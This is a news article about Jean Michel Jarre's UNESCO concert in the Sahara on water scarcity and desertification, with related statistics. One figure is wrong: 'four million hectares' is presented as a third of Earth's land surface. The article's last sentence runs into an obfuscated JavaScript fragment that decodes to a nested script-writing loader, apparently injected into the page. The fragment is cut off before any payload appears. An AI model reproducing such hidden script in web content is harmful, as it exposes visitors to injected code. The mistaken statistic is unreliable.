Jean Michel Jarre desert concert

French electronic music pioneer Jean Michel Jarre plans to draw attention to water shortages and desertification with a concert among the sand dunes of the Moroccan Sahara on Saturday night.

Jarre, who is goodwill ambassador for the United Nations Educational, Scientific and Cultural Organization (UNESCO), will also be one of the highlights marking the end of the UN International Year of Deserts and Desertification and part of the 2005-2015 UN Water for Life Decade.

Using his hallmark state-of-the-art visual and sound technology, the French composer/musician will stress the importance of protecting and properly managing the planet's limited freshwater resources and halting the advance of desertification, UNESCO said in a statement.

"We want this concert to be a wake-up call. We want to make people more aware of just how precious water is and the critical need to look after what we have," said Jarre.

"If everybody understood just how little water the earth has, or how many people are going without it -- and dying as a result -- or how much of it is being wasted, we might be able to find better ways of managing and sharing it."

Moroccan authorities expect around 15,000 people to attend the event, which will also feature the Modern Arab Orchestra of Casablanca, the Morocco Philharmonic Orchestra and a number of soloists.

According to a UNESCO report earlier this year, one billion people do not have access to sufficient quantities of drinking water, 2.6 billion people have no access to basic sanitation and 6,000 children die every day because they lack drinking water or because of insufficient hygiene.

The average African lives on less than 20 litres (five gallons) of water a day, while the average European consumes more than 150 litres daily and North Americans, 300 litres.

Four million hectares (10 million acres), or about one third of the planet's land surface, are threatened by desertification.

Desertification affects the lives of more than 250 million people and threatens another 1.2 billion in 110 countries. An estimated 60 million of those affected in sub-Saharan Africa are expected to move towards northern Africa and Europe by 2020.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22